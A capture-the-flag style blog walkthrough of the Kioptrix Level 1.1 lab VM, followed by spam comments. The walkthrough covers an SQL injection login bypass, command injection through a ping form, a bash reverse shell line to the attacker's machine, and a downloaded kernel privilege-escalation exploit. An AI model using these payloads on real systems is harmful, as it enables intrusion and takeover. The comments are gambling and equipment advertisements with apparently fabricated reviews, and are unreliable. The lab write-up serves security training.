Kioptrix Level 1.1 (aka #2)

Setup

Setup is similar to other instances of Kioptrix. https://www.vulnhub.com/entry/kioptrix-level-11-2,23/

Note: You might have to modify the VM configuration file from Bridged to NAT as we did with the previous machine.

Host Discovery

As always, we should start out with netdiscover to see what hosts are out there

netdiscover -r 192.168.174.0/24


After we find out host, let’s do a basic nmap service scan with the following command: nmap -sV 192.168.174.129

There are several services running on this machine. Let’s enumerate each one of them in turn.

SSH

We see from our nmap scan that OpenSSH is version 3.9. A quick Google search doesn’t reveal a whole lot of information:

When we look at the CVE Details and the exploit-db.com websites, there isn’t a whole lot we can work with. The exploit-db.com page just lists a description of the vulnerability, with no workable exploit we can potentially try. So let’s move on.

Note: Other than a few rare exceptions, SSH is not likely to be vulnerable. Unless it is running a strange version of SSH, or a particularly old version, I wouldn’t usually bother exploring this further. Now, you can utilize some tools like Hydra to brute force a list of usernames and passwords you have, but that’s different than running code to exploit it.

HTTP

It looks like port 80 is open, which tells us this is running an instance of a website. So, let’s navigate to the browser and see what we can find out. So let’s put the IP address of our host into the URL.

We see a username and password box, and we know from our nmap scan that this target is running MySQL on port 3386, so let’s try some SQL injection.

We’ll start with the ol’ trusted method of entering ‘ or ‘1’ = ‘1 into the Username and Password box:

And we’re in!

So, we can pop in an IP address here and it returns with ping responses, just as it were from a command line:

Let’s see if we can chain some commands together by using the ; such as running list after the ping is done:

Sure enough, we can execute multiple commands. This is called command injection.


Now that we know we can execute commands on our target machine, our next goal is to create a reverse shell back to our host machine. Let’s check our our Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

The first example on this site shows us how to use Bash to create a reverse shell. In the example on the page, the 10.0.0.1 is the IP of the host machine (your Kali box) and it connects via port 8080. So let’s update it with our information: bash -i >& /dev/tcp/192.168.174.131/8080 0>&1

But first! We need to setup our Kali box to listen for this reverse shell. From a terminal window, setup a netcat listener with the following command nc -lvp 8080

No, for our reverse shell. Since we need the ; in the input box on the webpage to add the additional bash reverse shell, we’ll put it in front of our command above, paste it into the web page, and execute it.


When it executes, a new tab opens and it looks like the webpage hangs up. But, go check your reverse shell listener on your Kali box:

Typing id, whoami, and pwd show us where we’re sitting on the box, and as what account.

Another command we should never forget is uname -a

We run this and can see that our target machine is running Linux 2.6.9-55.EL. Let’s check the Googles and see if there’s any exploits for it.

Looks like there might be a couple. Let’s check the first one.

The first one looks promising, but now we gotta figure out a way to download the exploit to our target machine.

Normally, from our Bash reverse shell, we could use wget. So let’s try the following command: wget https://exploit-db.com/download/9542

  • TIP: Change the /exploit/ directory to /download/ to download the raw code, and not the .html file.

Trying this gives us the following error, though:

After a little bit of research it looks like the version of wget on our target machine is out of date. So we’ll have to download the exploit on our Kali box and then send it over to our target.

So, from our Kali machine, let’s create a new directory (just to keep things organized) and download the exploit using wget. Since we’re on our host machine, we can do things like specify file names so we’ll add the -O flag and type the following command: wget -O exploit.c https://www.exploit-db.com/download/9542

But…..

Trying to run netcat on the target machine shows that netcat wasn’t installed. Thus, no way to transfer our exploit script to the target box (for now).

So let’s try to do this the really hard way.

Nano via Shell

From your shell, type nano exploit to create a new file. We’re going to put the exploit code in here by hand.

Now, from Kali, go back to the exploit-db.com page and click on the {} to view the raw code.

Now, type Ctrl +A, and then Ctrl + C to select all the raw code and then copy it, and then paste it into your shell where you’re creating your new file with Nano. Save it.

And then…piss. Nano freaks out when you’re trying to use it through a shell apparently, and as it turns out you need to have a fully interactive shell to use Nano, so scratch that idea.

Trying Again

Let’s see if the old, out of date version of wget will pull code from our Kali box. So let’s go back to where we downloaded the 9542 exploit. And then let’s compile it. So the format we use to compile is: gcc <code to compile> -o <new name>

So we’ll type gcc exploit.c -o exploit

Now, we need to move it to our Apache web directory and start up Apache so our Kali box acts like a web server. To start this process, let’s move our compiled exploit to the html directory: mv exploit /var/www/html

Next, let’s start the apache2 service and then check it with service apache2 start and then service apache2 status

Cool, looks like Apache is running. Now, let’s hop back on our shell and pull the code.

From our shell, navigate to the /tmp directory and then use wget http://192.168.174.129/exploit to download your exploit. NOTE: Remember to use the IP address of your Kali box, since it’s acting as your web server.

Looks like our exploit downloaded just fine. I have no idea what that exploit.swp file is, it was on the VM when I started.

Now, let’s use chmod to update the permissions and try to run our code.

And fuck again. So, in a last ditch effort let’s try compiling the code on our target machine instead. So we’ll just move our exploit code pre-compiled into the web directory on our Kali box, use wget to put it on our target machine, compile it there, chmod it, and then execute.

BAM! The moral of this story? Don’t give up right away if something doesn’t work.

28 thoughts on “Kioptrix Level 1.1 (aka #2)”

  1. That is the proper blog for anybody who wants to seek out out about this topic. You realize so much its virtually arduous to argue with you (not that I really would want…HaHa). You positively put a new spin on a subject thats been written about for years. Nice stuff, simply great!

  2. Vibracion mecanica
    Dispositivos de ajuste: fundamental para el rendimiento fluido y eficiente de las maquinarias.

    En el entorno de la tecnologia contemporanea, donde la eficiencia y la fiabilidad del equipo son de maxima importancia, los dispositivos de ajuste tienen un funcion crucial. Estos sistemas adaptados estan creados para balancear y regular elementos dinamicas, ya sea en dispositivos manufacturera, medios de transporte de movilidad o incluso en equipos domesticos.

    Para los tecnicos en conservacion de aparatos y los tecnicos, trabajar con equipos de balanceo es importante para garantizar el desempeno uniforme y fiable de cualquier mecanismo movil. Gracias a estas alternativas modernas modernas, es posible reducir notablemente las oscilaciones, el estruendo y la tension sobre los soportes, extendiendo la duracion de elementos valiosos.

    Igualmente significativo es el tarea que cumplen los dispositivos de calibracion en la servicio al consumidor. El soporte profesional y el conservacion continuo usando estos aparatos posibilitan proporcionar asistencias de alta calidad, mejorando la contento de los consumidores.

    Para los titulares de proyectos, la aporte en unidades de calibracion y dispositivos puede ser clave para incrementar la productividad y eficiencia de sus dispositivos. Esto es particularmente significativo para los emprendedores que gestionan modestas y pequenas negocios, donde cada aspecto cuenta.

    Por otro lado, los aparatos de balanceo tienen una vasta utilizacion en el area de la fiabilidad y el gestion de nivel. Posibilitan detectar posibles errores, reduciendo mantenimientos elevadas y averias a los aparatos. Tambien, los resultados recopilados de estos aparatos pueden utilizarse para optimizar metodos y potenciar la visibilidad en motores de exploracion.

    Las sectores de implementacion de los sistemas de calibracion cubren variadas ramas, desde la produccion de transporte personal hasta el monitoreo ecologico. No importa si se refiere de enormes fabricaciones de fabrica o limitados espacios hogarenos, los aparatos de calibracion son esenciales para asegurar un operacion productivo y sin riesgo de paradas.

  3. Balanset-1A: State-of-the-art Portable Balancer & Vibration Analyzer
    Industrial-grade Dynamic Balancing Solution
    Balanset-1A constitutes an advanced solution for rotor balancing of rotors in their own bearings, manufactured by Estonian company Vibromera OU. The device provides professional equipment balancing at €1,751, which is significantly cheaper than traditional vibration analyzers while maintaining exceptional measurement accuracy. The system allows field balancing directly at the equipment’s installation site without necessitating disassembly, which is critically important for minimizing production downtime.
    About the Manufacturer
    Vibromera OU is an Estonian company focusing in the development and production of equipment for technical diagnostics of industrial equipment. The company is incorporated in Estonia (registration number 14317077) and has offices in Portugal.
    Contact Information:

    Official website: https://vibromera.eu/shop/2/

    Technical Specifications
    Detection Parameters
    Balanset-1A provides accurate measurements using a twin-channel vibration analysis system. The device measures RMS vibration velocity in the range of 0-80 mm/s with an accuracy of ±(0.1 + 0.1?Vi) mm/s. The functional frequency range is 5-550 Hz with potential extension to 1000 Hz. The system supports rotational speed measurement from 250 to 90,000 RPM with phase angle determination accuracy of ±1 degree.
    Working Principle
    The device uses phase-sensitive vibration measurement technology with MEMS accelerometers ADXL335 and laser tachometry. Two single-axis accelerometers measure mechanical vibrations proportional to acceleration, while a laser tachometer generates pulse signals for computing rotation frequency and phase angle. Digital signal processing includes FFT analysis for frequency analysis and proprietary algorithms for automatic calculation of corrective masses.
    Full Kit Package
    The standard Balanset-1A delivery includes:

    Measurement unit with USB interface – primary module with built-in preamplifiers, integrators, and ADC
    2 vibration sensors (accelerometers) with 4m cables (alternatively 10m)
    Optical sensor (laser tachometer) with 50-500mm measuring distance
    Magnetic stand for sensor mounting
    Electronic scales for exact measurement of corrective masses
    Software for Windows 7-11 (32/64-bit)
    Plastic transport case
    Complete set of cables and documentation

    Operating Capabilities
    Vibrometer Mode
    Balanset-1A functions as a complete vibration analyzer with abilities for measuring overall vibration level, FFT spectrum analysis up to 1000 Hz, measuring amplitude and phase of the fundamental frequency (1x), and continuous data recording. The system delivers display of time signals and spectral analysis for equipment condition diagnostics.
    Balancing Mode
    The device supports one-plane (static) and dual-plane (dynamic) balancing with automatic calculation of corrective masses and their installation angles. The unique influence coefficient saving function permits considerable acceleration of repeat balancing of same-type equipment. A specialized grinding wheel balancing mode uses the three-correction-weight method.
    Software
    The user-friendly program interface delivers step-by-step guidance through the balancing process, making the device available to personnel without special training. Key functions include:

    Automatic tolerance calculation per ISO 1940
    Polar diagrams for imbalance visualization
    Result archiving with report generation capability
    Metric and imperial system support
    Multilingual interface (English, German, French, Polish, Russian)

    Application Areas and Equipment Types
    Industrial Equipment
    Balanset-1A is successfully applied for balancing fans (centrifugal, axial), pumps (hydraulic, centrifugal), turbines (steam, gas), centrifuges, compressors, and electric motors. In production facilities, the device is used for balancing grinding wheels, machine spindles, and drive shafts.
    Agricultural Machinery
    The device represents special value for agriculture, where reliable operation during season is critically important. Balanset-1A is used for balancing combine threshing drums, shredders, mulchers, mowers, and augers. The ability to balance on-site without equipment disassembly enables preventing costly downtime during busy harvest periods.
    Specialized Equipment
    The device is effectively used for balancing crushers of various types, turbochargers, drone propellers, and other high-speed equipment. The rotation frequency range from 250 to 90,000 RPM covers virtually all types of industrial equipment.
    Superiority Over Similar Products
    Economic Effectiveness
    At a price of €1,751, Balanset-1A provides the functionality of devices costing €10,000-25,000. The investment recovers costs after preventing just 2-3 bearing failures. Savings on third-party balancing specialist services reaches thousands of euros annually.
    Ease of Use
    Unlike complex vibration analyzers requiring months of training, mastering Balanset-1A takes 3-4 hours. The step-by-step guide in the software permits professional balancing by personnel without specialized vibration diagnostics training.
    Mobility and Autonomy
    The complete kit weighs only 4 kg, with power supplied through the laptop’s USB port. This allows balancing in outdoor conditions, at remote sites, and in hard-to-reach locations without external power supply.
    Versatile Application
    One device is adequate for balancing the most extensive spectrum of equipment – from small electric motors to large industrial fans and turbines. Support for single and dual-plane balancing covers all typical tasks.
    Real Application Results
    Drone Propeller Balancing
    A user achieved vibration reduction from 0.74 mm/s to 0.014 mm/s – a 50-fold improvement. This demonstrates the outstanding accuracy of the device even on small rotors.
    Shopping Center Ventilation Systems
    Engineers effectively balanced radial fans, achieving decreased energy consumption, removed excessive noise, and extended equipment lifespan. Energy savings paid for the device cost within several months.
    Agricultural Equipment
    Farmers note that Balanset-1A has become an essential tool preventing costly breakdowns during peak season. Decreased vibration of threshing drums led to reduced fuel consumption and bearing wear.
    Pricing and Delivery Terms
    Current Prices

    Complete Balanset-1A Kit: €1,751
    OEM Kit (without case, stand, and scales): €1,561
    Special Offer: €50 discount for newsletter subscribers
    Bulk Discounts: up to 15% for orders of 4+ units

    Acquisition Options

    Official Website: vibromera.eu (recommended)
    eBay: verified sellers with 100% rating
    Industrial Distributors: through B2B channels

    Payment and Shipping Terms

    Payment Methods: PayPal, credit cards, bank transfer
    Shipping: 10-20 business days by international mail
    Shipping Cost: from $10 (economy) to $95 (express)
    Warranty: factory warranty
    Technical Support: included in price

    Summary
    Balanset-1A constitutes an ideal solution for organizations aiming to deploy an effective equipment balancing system without major capital expenditure. The device democratizes access to professional balancing, allowing small businesses and service centers to provide services at the level of large industrial companies.
    The mix of reasonable price, ease of use, and professional capabilities makes Balanset-1A an indispensable tool for modern technical maintenance. Investment in this device is an investment in equipment dependability, lower operating costs, and enhanced competitiveness of your company.

  4. Wow, amazing blog layout! How long have you been running a blog for? you made running a blog look easy. The entire glance of your site is excellent, as neatly as the content material!

  5. Awsome post and right to the point. I don’t know if this is truly the best place to ask but do you guys have any thoughts on where to get some professional writers? Thank you 🙂

  6. what is chicken road
    Chicken Road: Real Player Feedback
    Chicken Road stands out as a gambling game with arcade vibes, attracting users with its easytograsp gameplay, high RTP (98%), and distinctive cashout system. We’ve gathered real player reviews to determine if it’s worth your time.

    What Users Appreciate
    Numerous players commend Chicken Road for its quick, engaging action and userfriendly design. The ability to cash out at any time adds a strategic twist, while the high RTP makes it feel fairer than traditional slots. Beginners love the demo mode, which lets them try the game without risking money. Mobile optimization also gets high marks, as the game runs smoothly even on older devices.
    Melissa R., AU: “Unexpectedly enjoyable and balanced! The ability to cash out brings a layer of strategy.”
    Nathan K., UK: “The retro arcade vibe feels invigorating. Plus, it works perfectly on my tablet.”
    The bright, nostalgic visuals add to the fun factor, keeping players hooked.

    Criticisms
    While it has many positives, Chicken Road does have some downsides. Some players find the gameplay repetitive and lacking depth. Others mention slow customer support and limited features. Misleading ads are another issue, with many assuming it was an arcade game instead of a gambling app.

    Tom B., US: “It starts off fun, but the monotony sets in quickly.”
    Sam T., UK: “Advertised as a fun game, but it’s clearly a gambling app.”

    Pros and Cons
    Advantages
    Simple, fastpaced gameplay
    With a 98% RTP, it offers a sense of equity
    Demo mode for riskfree learning
    Optimized for flawless mobile play

    Cons
    Gameplay can feel repetitive
    Lack of diversity and additional options
    Slow or unresponsive customer support
    Misleading marketing

    Overall Assessment
    Chicken Road shines through its openness, impressive RTP, and ease of access. Ideal for casual gamers or anyone just starting with online gambling. However, its reliance on luck and lack of depth may not appeal to everyone. To maximize enjoyment, stick to authorized, regulated sites.
    Rating: Four out of five stars
    An enjoyable and equitable option, though it has areas to grow.

  7. chicken road rtp
    Chicken Road: Honest User Opinions
    Chicken Road is an arcadestyle gambling game that has caught the attention of players with its simplicity, high RTP (98%), and unique cashout feature. We’ve collected honest feedback from actual players to see if it lives up to expectations.

    Key Highlights According to Players
    A lot of gamers appreciate how Chicken Road combines fast gameplay with simple controls. The option to withdraw winnings whenever you want introduces a tactical element, and the high RTP ensures it feels more equitable compared to classic slots. Beginners love the demo mode, which lets them try the game without risking money. Players also rave about the mobilefriendly design, which performs flawlessly even on outdated gadgets.
    Melissa R., AU: “Surprisingly fun and fair! The cashout feature adds strategy.”
    Nathan K., UK: “The arcade style is refreshing. Runs smoothly on my tablet.”
    The bright, nostalgic visuals add to the fun factor, keeping players hooked.

    Criticisms
    While it has many positives, Chicken Road does have some downsides. A number of users feel the gameplay becomes monotonous and lacks complexity. Players also point out unresponsive support teams and insufficient features. Misleading ads are another issue, with many assuming it was an arcade game instead of a gambling app.

    Tom B., US: “It starts off fun, but the monotony sets in quickly.”
    Sam T., UK: “Marketed as a casual game, but it’s actually a gamblingfocused app.”

    Strengths and Weaknesses
    Pros
    Easytounderstand, quick gameplay
    An RTP of 98% guarantees a fair experience
    Practice mode to explore without financial risk
    Optimized for flawless mobile play

    Cons
    Gameplay can feel repetitive
    Lack of diversity and additional options
    Customer service can be sluggish and unreliable
    Confusing promotional tactics

    Final Verdict
    Chicken Road stands out with its transparency, high RTP, and accessibility. Ideal for casual gamers or anyone just starting with online gambling. Still, the heavy emphasis on luck and minimal complexity could turn off some users. To maximize enjoyment, stick to authorized, regulated sites.
    Rating: Four out of five stars
    An enjoyable and equitable option, though it has areas to grow.

  8. Great web site. A lot of useful info here. I?¦m sending it to some buddies ans additionally sharing in delicious. And certainly, thank you for your sweat!

  9. Its like you read my mind! You seem to know a lot about this, like you wrote the book in it or something. I think that you could do with some pics to drive the message home a bit, but instead of that, this is fantastic blog. A fantastic read. I’ll certainly be back.

  10. Have you ever considered about adding a little bit more than just your articles? I mean, what you say is valuable and everything. However think of if you added some great photos or videos to give your posts more, “pop”! Your content is excellent but with images and video clips, this website could undeniably be one of the greatest in its field. Very good blog!

  11. Nice post. I was checking constantly this blog and I’m impressed! Extremely helpful info particularly the last part 🙂 I care for such information much. I was seeking this particular information for a very long time. Thank you and good luck.

  12. demais este conteúdo. Gostei muito. Aproveitem e vejam este site. informações, novidades e muito mais. Não deixem de acessar para descobrir mais. Obrigado a todos e até mais. 🙂

  13. I’ll immediately seize your rss as I can’t to find your email subscription link or newsletter service. Do you have any? Kindly allow me understand so that I may subscribe. Thanks.

  14. whoah this blog is great i really like studying your posts. Keep up the good paintings! You realize, many persons are looking round for this info, you could help them greatly.

  15. you are truly a good webmaster. The website loading pace is incredible. It seems that you are doing any distinctive trick. Furthermore, The contents are masterpiece. you have performed a fantastic task in this topic!

  16. I’m curious to find out what blog system you happen to be using? I’m experiencing some small security issues with my latest site and I would like to find something more secure. Do you have any recommendations?

Leave a Reply

Your email address will not be published. Required fields are marked *